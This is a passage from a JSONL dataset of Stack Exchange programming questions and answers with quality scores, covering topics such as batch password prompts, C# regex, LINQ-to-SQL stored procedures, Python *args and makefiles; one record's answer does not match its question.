OnPaint(PaintEventArgs pevent)\n    {\n        base.OnPaint(pevent);\n        this.Text = MyGlobalResources.GetItem(this.Tag.ToString());\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.699301"}
{"id": "hf_73867163a150", "question": "<p>I need to get authentication credentials from the users within a Windows script but the classic \"first Google result\" approach:</p>\n\n<pre><code>SET /P USR=Username: \nSET /P PWD=Password: \n</code></pre>\n\n<p>is less than satisfying, so I was wondering if there's let's say an \"equivalent\" to <strong>HTML's input type=\"password\"</strong>?</p>\n\n<p>Any comment would be really appreciated, thanks much in advance!</p>\n", "question_body": "", "answer": "I assume that you want no echo of the password on the screen.\nIf a pop-up window is ok for you, you could use e.g. VBScript to show an IE window displaying a password field. Here's an\nexample\n.\nAs an alternative you could call your script from an HTA (HTML Application) file (see\nIntroduction to HTML Applications (HTAs)\n.\nRegards,\ndivo", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.774190"}
{"id": "hf_38a4b77cb779", "question": "<p>I'm having a difficult time figuring out how to add a .jar/library to a Netbeans project in such a way that I can get it committed to the repository.</p>\n\n<p>The typical way to add a library (per the Netbeans documents I've already gone through) ends up with it just being local to me.  Anyone who checks out my project ends up missing my required library.</p>\n\n<p>Inserting it manually and trying to work around Netbeans results in Netbeans hanging while trying to scan the project...</p>\n\n<p>So, how can I tell Netbeans to pick up a jar as a library and include it in my project in such a way that Subversion will be able to handle it?</p>\n", "question_body": "", "answer": "Not really an answer to your question but... generally you should not include these libraries in your subversion repository. There is usually no need to have them managed. What you might want is to set up a central repository similar to what happens with maven. If you use maven, you can create a local repository of libraries on a server accessible by the team. The dependencies on these libraries are entered in the pom.xml file and this is in the subversion repository. Now, as team members check out the code from subversion they all have access to the maven repository.\n[I am looking for a reference to this right now. When I find it I'll edit this answer.]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.797186"}
{"id": "hf_a67349350afc", "question": "<p>Like the title says, how can I remove GAC assembly file using vbscript?</p>\n", "question_body": "", "answer": "You can run this to uninstall it from GAC:\n```\n```\ngacutil /u YourAssembly\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.859683"}
{"id": "hf_66d18923e2c9", "question": "<p>On Windows Mobile (but I guess it's the same on Windows) in a native C++ app, how would I go about setting a SYSTEMTIME structure correctly? Assuming I have </p>\n\n<pre><code>int year, month, dayOfMonth, hour, minute, second;\n</code></pre>\n\n<p>I obviously should set the wHour, wYear, etc members of the SYSTEMTIME structure, but what happens with wDayOfWeek in that case, I would rather have this set up correctly as well. I have looked but not found any functions in MSDN that would allow me to populate a SYSTEMTIME structure where the wDayOfWeek member would be calculated for me. Did I miss something or how would I go about that?</p>\n", "question_body": "", "answer": "Hmm...\nMaybe first construct a FILETIME and then call FileTimeToSystemTime?\nInfo on FILETIME\nhttp://msdn.microsoft.com/en-us/library/ms724284(VS.85).aspx\nOr, first contruct a VARIANT of VT_TIME and then callVariantTimeToSystemTime.\nhttp://msdn.microsoft.com/en-us/library/ms221440.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.884650"}
{"id": "hf_ab3199eae86c", "question": "<p>The following code is implemented in Page_Load event to show SaveFileDialog to the user</p>\n\n<pre><code>string targetFileName = Request.PhysicalApplicationPath + \"Reports\\\\TempReports\\\\FolderMasters\" + Utility.GetRandomNumber() + \".pdf\";\n\nFileInfo file = new FileInfo(targetFileName);\n// Clear the content of the response.\nResponse.ClearContent();\n\nResponse.AddHeader(\"Content-Disposition\", \"attachment; filename=\" + file.Name);\nResponse.AddHeader(\"Content-Length\", file.Length.ToString());\nResponse.ContentType = \"application/pdf\";\nResponse.TransmitFile(file.FullName);\nResponse.End();\n</code></pre>\n\n<p>How can I get the user response to SaveFileDialog, as I need to know user response to this dialog?</p>\n\n<p>Also, is there something wrong with these lines of code, as I had the following exception</p>\n\n<p>\"Unable to evaluate expression because the code is optimized or a native frame is on   top of the call stack.\"</p>\n", "question_body": "", "answer": "I'm here again, as I got a solution for my second question.\nFor\n```\nResponse.End\n```\n, call the\n```\nHttpContext.Current.ApplicationInstance.CompleteRequest\n```\nmethod instead of Response.End to bypass the code execution to the Application_EndRequest event.\nHave look ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.945542"}
{"id": "hf_f47c686b8dd6", "question": "<p>What is the JSON (JavaScript Object Notation) format?</p>\n", "question_body": "", "answer": "From Wikipedia:\nJSON\n(Javascript object notation)\nThe JSON format is often used for\n  transmitting structured data over a\n  network connection in a process called\n  serialization. Its main application is\n  in Ajax web application programming,\n  where it serves as an alternative to\n  the use of the XML format.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.006051"}
{"id": "hf_9f84b6017a44", "question": "<p>I need to cut out and save/use part of a string in C#. I figure the best way to do this is by using Regex. My string looks like this:</p>\n\n<p><code>\"changed from 1 to 10\"</code>. </p>\n\n<p>I need a way to cut out the two numbers and use them elsewhere. What's a good way to do this?</p>\n", "question_body": "", "answer": "In your regex put the fields you want to record in parentheses, and then use the\n```\nMatch.Captures\n```\nproperty to extract the matched fields.\nThere's a C# example\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.054273"}
{"id": "hf_3fc56bcb5e83", "question": "<p>How can I get the value between quotes with an RegEx</p>\n\n<p>for example I want to find all the parameters from the function test</p>\n\n<pre><code>&lt;html&gt;\n   test(\"bla\");\n   print(\"foo\");\n   test(\"moo\");\n&lt;/html&gt;\n</code></pre>\n\n<p>The result must be { \"bla\", \"moo\" }</p>\n", "question_body": "", "answer": "edit: Removed old code and made a linq version...\n```\n```\nvar array = (from Match m in Regex.Matches(inText, \"\\\"\\\\w+?\\\"\")\n                 select m.Groups[0].Value).ToArray();\n\n    string json = string.Format(\"{{{0}}}\", string.Join(\",\", array));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.083482"}
{"id": "hf_d61e896d5363", "question": "<p>In Java, is there a way to control the TTL of the IP header for packets sent on a socket? </p>\n", "question_body": "", "answer": "Apparently only on Multicast sockets, which have:\n```\n```\nMulticastSocket.setTimeToLive(int ttl);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.108948"}
{"id": "hf_a05703aa5ff8", "question": "<p>I have an ASP.net page. When I am closing the webpage I need to clear the session variables.</p>\n\n<p>How to to handle this I need to maintain the timeout to 20 minutes.\nIf he closes and login for any number of times in the 20 minutes timed out time</p>\n\n<p>Is there any possiblity for clearing the ASP.net session id</p>\n", "question_body": "", "answer": "[EDIT] As others have suggested, your session should time out eventually, but if you want to close the session before the timeout (for example to clean up large session objects) AND have javascript available to you...\nYou can do this with an\n```\nwindow.onbeforeunload\n```\nhandler that posts back to a sign out page.\n```\n```\nfunction CloseSession( )\n{\n    location.href = 'SignOut.aspx'; \n}\nwindow.onbeforeunload = CloseSession;\n```\n```\nYou could also do it via AJAX.  The SignOut.aspx page (or whatever platform you are using) should abandon the user's session.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.186315"}
{"id": "hf_5e7a8c73cc68", "question": "<p>I think this mostly applies to web applications, since you often see things like language and database vendor in regards to web applications, but not so much on desktop applications.</p>\n\n<p>If a web application is created using language X, would that have any noticeable impact on who deploys the application? For example, would a company that uses .NET products ever consider using a Python application that meets their needs or would they tend to find a .NET product that they could use?</p>\n\n<p>EDIT 1: Refined the question to refer to apps meant to be deployed, not just used.</p>\n", "question_body": "", "answer": "It really depends on how much customisation and integration is required - and whether the app exposes any sort of sane API to it.\nFor example, you might want these types of customisation:\nCustom authentication via a module; platform may well be important\nGenerate your own reports; database is likely to be important\nAct against a web service which is part of the app; protocol (SOAP, REST, custom etc) is likely to be important, but not implementation language\nIn addition, there's the matter of support and maintenance - a Windows ISV is likely to be better at keeping IIS running than Apache, for instance, and the reverse. Likewise it helps if you've already got servers running the required operating system...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.212549"}
{"id": "hf_e3739bd085da", "question": "<p>How do I programmatically find out the width and height of the video in an mpeg-2 <strike>transport</strike> program stream file?  </p>\n\n<p>Edit: I am using C++, but am happy for examples in any language.\nEdit: Corrected question - it was probably program streams I was asking about</p>\n", "question_body": "", "answer": "Check out the source code to\nlibmpeg2\n, a F/OSS MPEG2 decoder.  It appears that the width and height are set in the\n```\nmpeg2_header_sequence()\n```\nfunction in\n```\nheader.c\n```\n.  I'm not sure how control flows to that particular function, though.  I'd suggest opening up an MPEG2 file in something using libmpeg2 (such as\nMPlayer\n) and attaching a debugger to see more closely exactly what it's doing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.250417"}
{"id": "hf_89cac4e383c0", "question": "<p>Is it possible to set up somehow Microsoft SQL Server to run a stored procedure on regular basis?</p>\n", "question_body": "", "answer": "Yes, in MS SQL Server, you can create scheduled jobs. In SQL Management Studio, navigate to the server, then expand the SQL Server Agent item, and finally the Jobs folder to view, edit, add scheduled jobs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.273785"}
{"id": "hf_6f05d5176287", "question": "<p>I mean, can you use couchDB for:</p>\n\n<ul>\n<li>CRUD of items, users</li>\n<li>bids and auctions resolutions</li>\n<li>bidirectional califications</li>\n<li>forum</li>\n<li>items comparison</li>\n</ul>\n", "question_body": "", "answer": "You could try to use CouchDB for an application - as to whether you would be successful is another question.\nSomething on the scale of eBay will have special requirements that are not representative of a typical application, If you are building a small auction site then perhaps CouchDB would suffice. A document-oriented database like CouchDB may not be so hot when you have to deal with transactional/records-based data like that associated with auctions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.310547"}
{"id": "hf_4ea440fece9d", "question": "<p>What exactly do <code>*args</code> and <code>**kwargs</code> mean?</p>\n<p>According to the Python documentation, from what it seems, it passes in a tuple of arguments.</p>\n<pre><code>def foo(hello, *args):\n    print(hello)\n\n    for each in args:\n        print(each)\n\nif __name__ == '__main__':\n    foo(&quot;LOVE&quot;, [&quot;lol&quot;, &quot;lololol&quot;])\n</code></pre>\n<p>This prints out:</p>\n<pre><code>LOVE\n['lol', 'lololol']\n</code></pre>\n<p>How do you effectively use them?</p>\n", "question_body": "", "answer": "Putting\n```\n*args\n```\nand/or\n```\n**kwargs\n```\nas the last items in your function definition’s argument list allows that function to accept an arbitrary number of arguments and/or keyword arguments.\nFor example, if you wanted to write a function that returned the sum of all its arguments, no matter how many you supply, you could write it like this:\n```\n```\ndef my_sum(*args):\n    return sum(args)\n```\n```\nIt’s probably more commonly used in object-oriented programming, when you’re overriding a function, and want to call the original function with whatever arguments the user passes in.\nYou don’t actually have to call them\n```\nargs\n```\nand\n```\nkwargs\n```\n, that’s just a convention. It’s the\n```\n*\n```\nand\n```\n**\n```\nthat do the magic.\nThe official Python documentation has\na more in-depth look\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.346039"}
{"id": "hf_c834198030df", "question": "<p>What number would you give someone who wants a concrete target number for API code coverage?</p>\n\n<p>UPDATE: To clarify, statement/line code coverage. I realize concrete numbers don't make much sense, but this is for the situation where you tell people that concrete numbers don't make much sense and they still insist on getting a number from you no matter what. I specifically wrote API/SDK because some people might find lower code coverages more acceptable for application/GUI level software, as opposed to libraries, where more interfaces are exposed.</p>\n", "question_body": "", "answer": "Putting\n```\n*args\n```\nand/or\n```\n**kwargs\n```\nas the last items in your function definition’s argument list allows that function to accept an arbitrary number of arguments and/or keyword arguments.\nFor example, if you wanted to write a function that returned the sum of all its arguments, no matter how many you supply, you could write it like this:\n```\n```\ndef my_sum(*args):\n    return sum(args)\n```\n```\nIt’s probably more commonly used in object-oriented programming, when you’re overriding a function, and want to call the original function with whatever arguments the user passes in.\nYou don’t actually have to call them\n```\nargs\n```\nand\n```\nkwargs\n```\n, that’s just a convention. It’s the\n```\n*\n```\nand\n```\n**\n```\nthat do the magic.\nThe official Python documentation has\na more in-depth look\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.369679"}
{"id": "hf_97c29ca2fbf3", "question": "<p>I am building an application that is very similar to a shopping cart.  The user selects a product from a list, and then based on that product, a few properties need to be set and saved.</p>\n\n<p>Example.</p>\n\n<p>If the user selects a type of paint that allows custom color matches, then I must allow them to enter in a formula number that they received through a color match process. So I have an Order Detail item for a Product that is a type of Paint, and that sku has the attribute of \"AllowsCustomColorMatch\", but I need to store the Formula Number somewhere also.</p>\n\n<p>I'm not sure how to handle this elegantly throughout my code.  Should I be creating subclasses or products?  Right now I'm saving the data the user enters in an OrderDetails object that has a reference to the Product it is associated with.</p>\n", "question_body": "", "answer": "You can have a Product class with a collection of product properties\n```\n```\npublic class Product\n    {\n        private Dictionary<string, string> properties;\n\n        /// <summary>\n        /// Gets or sets the name.\n        /// </summary>\n        /// <value>The name.</value>\n        public string Name\n        {\n            get;\n            set;\n        }\n\n        /// <summary>\n        /// Gets or sets the price.\n        /// </summary>\n        /// <value>The price.</value>\n        public double Price\n        {\n            get;\n            set;\n        }\n\n        public Dictionary<string, string> Properties\n        {\n            get;\n        }\n\n        public Product()\n        {\n            properties = new Dictionary<string, string>();\n        }\n\n    }\n```\n```\nIn the datasource you can have a table that defines the properties to each type of product. Then when you render the page you know what properties to show and the name to give in the dictionary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.396179"}
{"id": "hf_c6c1754aceb3", "question": "<p>I'm looking to find records in a table that match a specific number that the user enters.  So, the user may enter 12345, but this could be 123zz4-5 in the database.</p>\n<p>I imagine something like this would work, if PHP functions worked in MySQL.</p>\n<pre><code>SELECT * FROM foo WHERE preg_replace(&quot;/[^0-9]/&quot;,&quot;&quot;,bar) = '12345'\n</code></pre>\n<p>What's the equivalent function or way to do this with just MySQL?</p>\n<p><em>Speed is not important.</em></p>\n", "question_body": "", "answer": "The simplest way I can think to do it is to use the MySQL REGEXP operator a la:\n```\n```\nWHERE foo LIKE '1\\D*2\\D*3\\D*4\\D*5'\n```\n```\nIt's not especially pretty but MySQL doesn't have a\n```\npreg_replace\n```\nfunction so I think it's the best you're going to get.\nPersonally, if this only-numeric data is so important, I'd keep a separate field just to contain the stripped data. It'll make your lookups a lot faster than with the regular expression search.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.453182"}
{"id": "hf_b7167df2c8d7", "question": "<p>I am using LINQ-to-SQL for an application that queries a legacy database. I need to call a stored procedure, that selects a single integer value. Changing the stored procedure is not an option.</p>\n\n<p>The designer creates a method with this signature:</p>\n\n<pre><code>private ISingleResult&lt;sp_xal_seqnoResult&gt; NextRowNumber([Parameter(DbType=\"Int\")] System.Nullable&lt;int&gt; increment, [Parameter(DbType=\"Char(3)\")] string dataset)\n</code></pre>\n\n<p>I would like the return type to be int. How do I do this using LINQ-to-SQL ? </p>\n", "question_body": "", "answer": "This would be trivial with a scalar function (UDF) rather than an SP. However, it should work easily enough - although if the SP is complex (i.e. FMT_ONLY can't inspect it 100%) then you might need to \"help\" it...\nHere's some dbml that I generated from a simplfied SP that returns an integer; you can edit the dbml via \"open with... xml editor):\n```\n```\n<Function Name=\"dbo.foo\" Method=\"foo\">\n    <Parameter Name=\"inc\" Type=\"System.Int32\" DbType=\"Int\" />\n    <Parameter Name=\"dataset\" Type=\"System.String\" DbType=\"VarChar(20)\" />\n    <Return Type=\"System.Int32\" />\n</Function>\n```\n```\n(note you obviously need to tweak the names and data-types).\nAnd here is the generated C#:\n```\n```\n[Function(Name=\"dbo.foo\")]\npublic int foo([Parameter(DbType=\"Int\")] System.Nullable<int> inc, [Parameter(DbType=\"VarChar(20)\")] string dataset)\n{\n    IExecuteResult result = this.ExecuteMethodCall(this, ((MethodInfo)(MethodInfo.GetCurrentMethod())), inc, dataset);\n    return ((int)(result.ReturnValue));\n}\n```\n```\nIf your current SP uses SELECT (instead of RETURN), then the DBML will need to reflect this. You can fix this by hiding the implementation details, and providing a public wrapper in a partial class; for example:\n```\n```\n<Function Name=\"dbo.foo\" Method=\"FooPrivate\" AccessModifier=\"Private\">\n    <Parameter Name=\"inc\" Type=\"System.Int32\" DbType=\"Int\" />\n    <Parameter Name=\"dataset\" Type=\"System.String\" DbType=\"VarChar(20)\" />\n    <ElementType Name=\"fooResult\" AccessModifier=\"Internal\">\n      <Column Name=\"value\" Type=\"System.Int32\" DbType=\"Int NOT NULL\" CanBeNull=\"false\" />\n    </ElementType>\n</Function>\n```\n```\nThe above describes an SP that returns a single table with a single column; but I've made the SP \"private\" to the data-context, and the result-type \"internal\" to the assembly (hiding it):\n```\n```\n[Function(Name=\"dbo.foo\")]\nprivate ISingleResult<fooResult> FooPrivate(\n    [Parameter(DbType=\"Int\")] System.Nullable<int> inc,\n    [Parameter(DbType=\"VarChar(20)\")] string dataset)\n{\n    IExecuteResult result = this.ExecuteMethodCall(this, ((MethodInfo)(MethodInfo.GetCurrentMethod())), inc, dataset);\n    return ((ISingleResult<fooResult>)(result.ReturnValue));\n}\n```\n```\nNow\nin my own class file\nI can add a new partial class (a new .cs file) in the correct namespace, that exposes the method more conveniently:\n```\n```\nnamespace MyNamespace {\n    partial class MyDataContext\n    {\n        public int Foo(int? inc, string dataSet)\n        {\n            return FooPrivate(inc, dataSet).Single().value;\n        }\n    }\n}\n```\n```\n(the namespace and context names need to be the same as the actual data-context). This adds a public method that hides the grungy details from the caller.\nDon't\nedit the designer.cs file directly; your changes will be lost. Only edit either the dbml or partial classes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.476815"}
{"id": "hf_79283a1d2682", "question": "<p>I have the SOAP request in an XML file. I want to post the request to the web service in .net \nHow to implement?</p>\n", "question_body": "", "answer": "You need to post the data over HTTP. Use the\nWebRequest class\nto post the data. You will need to send other data with the post request to ensure you have a valid SOAP envelope. Read the\nSOAP spec\nfor all of the details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.502680"}
{"id": "hf_b4d8f3ee1c22", "question": "<p>Using Lucene, one can retrieve the terms contained within in an index, i.e. the unique, stemmed words, excluding stop-words, that documents in the index contain. This is useful for generating autocomplete suggestions amongst other things. Is something similar possible with MS SQL Server full text indices?</p>\n", "question_body": "", "answer": "You can use the new system view in SQL Server 2008 to get you the terms and count of occurrences, is this what you want?\n```\n```\nsys.dm_fts_index_keywords_by_document\n( \n    DB_ID('database_name'),     \n    OBJECT_ID('table_name') \n)\n```\n```\nYou need to supply the\n```\ndb_id\n```\nand\n```\nobject_id\n```\nof the fulltext table. This is the MSDN link for this:\nsys.dm_fts_index_keywords_by_document\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.525606"}
{"id": "hf_22ef2042d650", "question": "<p>I have a load of user-submitted content. It is HTML, and may contain URLs. Some of them will be <code>&lt;a&gt;</code>'s already (if the user is good) but sometimes users are lazy and just type www.something.com or at best <a href=\"http://www.something.com\" rel=\"noreferrer\">http://www.something.com</a>.</p>\n\n<p>I can't find a decent regex to capture URLs but ignore ones that are immediately to the right of either a double quote or '>'. Anyone got one?</p>\n", "question_body": "", "answer": "Jan Goyvaerts, creator of\nRegexBuddy\n, has\nwritten a response\nto Jeff Atwood's blog that addresses the issues Jeff had and provides a nice solution.\n```\n```\n\\b(?:(?:https?|ftp|file)://|www\\.|ftp\\.)[-A-Z0-9+&@#/%=~_|$?!:,.]*[A-Z0-9+&@#/%=~_|$]\n```\n```\nIn order to ignore matches that occur right next to a \" or >, you could add\n```\n(?<![\">])\n```\nto the start of the regex, so you get\n```\n```\n(?<![\">])\\b(?:(?:https?|ftp|file)://|www\\.|ftp\\.)[-A-Z0-9+&@#/%=~_|$?!:,.]*[A-Z0-9+&@#/%=~_|$]\n```\n```\nThis will match full addresses (\nhttp://..\n.) and addresses that start with www. or ftp. - you're out of luck with addresses like ars.userfriendly.org...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.585140"}
{"id": "hf_c888d98a1471", "question": "<p>Say a class </p>\n\n<pre><code>Person  \n+Name: string  \n+Contacts: List&lt;Person&gt;\n</code></pre>\n\n<p>I want to be able to check if a person has a contact with a certain name without having to create a dummy Person instance.</p>\n\n<pre><code>person.Contacts.Contains&lt;string&gt;(\"aPersonName\");\n</code></pre>\n\n<p>This should check all persons in the Contacts list if their Name.Equals(\"aPersonName\");\nI see that there is a Contains already available, but I don't know where I should implement it's logic.</p>\n", "question_body": "", "answer": "It's probably easiest to use\nEnumerable.Any\n:\n```\n```\nreturn person.Contacts.Any(person => person.Name==\"aPersonName\");\n```\n```\nAlternatively, project and then contain:\n```\n```\nreturn person.Select(person => person.Name).Contains(\"aPersonName\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.618614"}
{"id": "hf_e14103c6739b", "question": "<p>The example below throws an InvalidOperationException, \"Collection was modified; enumeration operation may not execute.\" when executing the code. </p>\n\n<pre><code>var urls = new List&lt;string&gt;();\nurls.Add(\"http://www.google.com\");\n\nforeach (string url in urls)\n{\n    // Get all links from the url\n    List&lt;string&gt; newUrls = GetLinks(url);\n\n    urls.AddRange(newUrls); // &lt;-- This is really the problematic row, adding values to the collection I'm looping\n}\n</code></pre>\n\n<p>How can I rewrite this in a better way? I'm guessing a recursive solution?</p>\n", "question_body": "", "answer": "I would create two lists add into the second and then update the reference like this:\n```\n```\nvar urls = new List<string>();\nvar destUrls = new List<string>(urls);\nurls.Add(\"http://www.google.com\");\nforeach (string url in urls)\n{    \n    // Get all links from the url    \n    List<string> newUrls = GetLinks(url);    \n    destUrls.AddRange(newUrls);\n}\nurls = destUrls;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.707971"}
{"id": "hf_dcf5bfeeeacc", "question": "<p>Should I start a Python program with:</p>\n\n<pre><code>if__name__ == '__main__':\nsome code...\n</code></pre>\n\n<p>And if so, why? I saw it many times but don't have a clue about it.</p>\n", "question_body": "", "answer": "If your program is usable as a library but you also have a main program (e.g. to test the library), that construct lets others import the file as a library and not run your main program. If your program is named foo.py and you do \"import foo\" from another python file,\n```\n__name__\n```\nevaluates to\n```\n'foo'\n```\n, but if you run \"python foo.py\" from the command line,\n```\n__name__\n```\nevaluates to\n```\n'__main__'\n```\n.\nNote that you do need to insert a space between if and _, and indent the main program:\n```\n```\nif __name__ == '__main__':\n    main program here\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.760511"}
{"id": "hf_086e2e1895d0", "question": "<p>Modern browsers have multi-tab interface, but JavaScript function <code>window.showModalDialog()</code> creates a modal dialog that blocks <em>all</em> of the tabs.  </p>\n\n<p>I'd like to know if there is a way to create a modal dialog that blocks only the tab it's been created in?</p>\n", "question_body": "", "answer": "You could use one of the more 'Ajax-like' modal dialogs, which are just absolute positioned divs, floating on top of everything else.\nThose are modal to the 'document' and not the browser.\nFor instance take a look it\nthis jQuery plugin\nP.S.\n```\nshowModalDialog()\n```\nis an IE only call, so you might want to not use that altogether.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.807215"}
{"id": "hf_4606eb56da47", "question": "<p>Is it possible to develop plugins for Microsoft Office Communicator?  If so, where does one start -- is there an SDK?</p>\n", "question_body": "", "answer": "A good place to start would be the\nSDK\n. I'm not sure if you can create plugins for it, but since it has a API, you can definitely hook into it from external apps or webpages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:15.831722"}
{"id": "hf_7fece4bf22a7", "question": "<p>I've looking to find a simple recommended \"minimal\" c++ makefile for linux which will use g++ to compile and link a single file and h file. Ideally the make file will not even have the physical file names in it and only have a .cpp to .o transform. What is the best way to generate such a makefile without diving into the horrors of autoconf?</p>\n\n<p>The current dir contains, for example</p>\n\n<p>t.cpp\nt.h</p>\n\n<p>and I want a makefile for that to be created. I tried autoconf but its assuming .h is gcc instead of g++. Yes, while not a beginner, I am relearning from years ago best approaches to project manipulation and hence am looking for automated ways to create and maintain makefiles for small projects.</p>\n", "question_body": "", "answer": "If it is a single file, you can type\n```\n```\nmake t\n```\n```\nAnd it will invoke\n```\n```\ng++ t.cpp -o t\n```\n```\nThis doesn't even require a Makefile in the directory, although it will get confused if you have a t.cpp and a t.c and a t.java, etc etc.\nAlso a real Makefile:\n```\n```\nSOURCES := t.cpp\n# Objs are all the sources, with .cpp replaced by .o\nOBJS := $(SOURCES:.cpp=.o)\n\nall: t\n\n# Compile the binary 't' by calling the compiler with cflags, lflags, and any libs (if defined) and the list of objects.\nt: $(OBJS)\n    $(CC) $(CFLAGS) -o t $(OBJS) $(LFLAGS) $(LIBS)\n\n# Get a .o from a .cpp by calling compiler with cflags and includes 